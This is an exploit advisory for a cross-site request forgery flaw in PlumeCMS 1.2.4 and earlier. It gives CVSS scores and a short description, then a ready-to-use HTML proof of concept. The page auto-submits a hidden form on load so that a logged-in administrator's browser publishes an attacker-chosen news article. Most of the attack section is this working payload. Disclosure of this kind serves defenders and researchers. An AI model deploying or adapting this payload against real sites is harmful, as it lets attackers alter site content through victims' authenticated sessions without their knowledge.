PlumeCMS 1.2.4 Cross Site Request Forgery

2012-02-21 / 2012-10-10
Credit: Ivano Binetti
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : PlumeCMS <= 1.2.4 CSRF Vulnerability # Date : 20-02-2012 # Author : Ivano Binetti ( # Software link : # Vendor site : # Version : 1.2.4 (latest) and lower # Tested on : Debian Squeeze (6.0) +--------------------------------------------------------------------------------------------------------------------------------+ +------------------------------------------[Insert and publish NEWS by Ivano Binetti]--------------------------------------------------+ Summary 1)Vulnerability Description 2)Exploit +---------------------------------------------------------------------------------------------------------------------------------+ 1)Vulnerability Description PlumeCMS is prone to a CSRF Vulnerability which allows an attacker to insert and publish "News" (as PlumeCMS names his articles) when an authenticated admin browses a web page containing the following html/javascript code. 2)Exploit <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add and publish News</H2> <form method="POST" name="form0" action="http://localhost:80/plume/manager/news.php"> <input type="hidden" name="n_category_id" value="1"/> <input type="hidden" name="n_content_format" value="html"/> <input type="hidden" name="n_status" value="1"/> <input type="hidden" name="n_comment_support" value="1"/> <input type="hidden" name="n_subtype" value="2"/> <input type="hidden" name="n_title" value="hacked news"/> <input type="hidden" name="n_content" value="%3Cp%3Etest2%3C%2Fp%3E"/> <input type="hidden" name="n_subject" value=""/> <input type="hidden" name="n_titlewebsite" value=""/> <input type="hidden" name="n_linkwebsite" value=""/> <input type="hidden" name="publish" value="Save+%5Bs%5D"/> </form> </body> </html> +----------------------------------------------------------------------------------------------------------------------------------+


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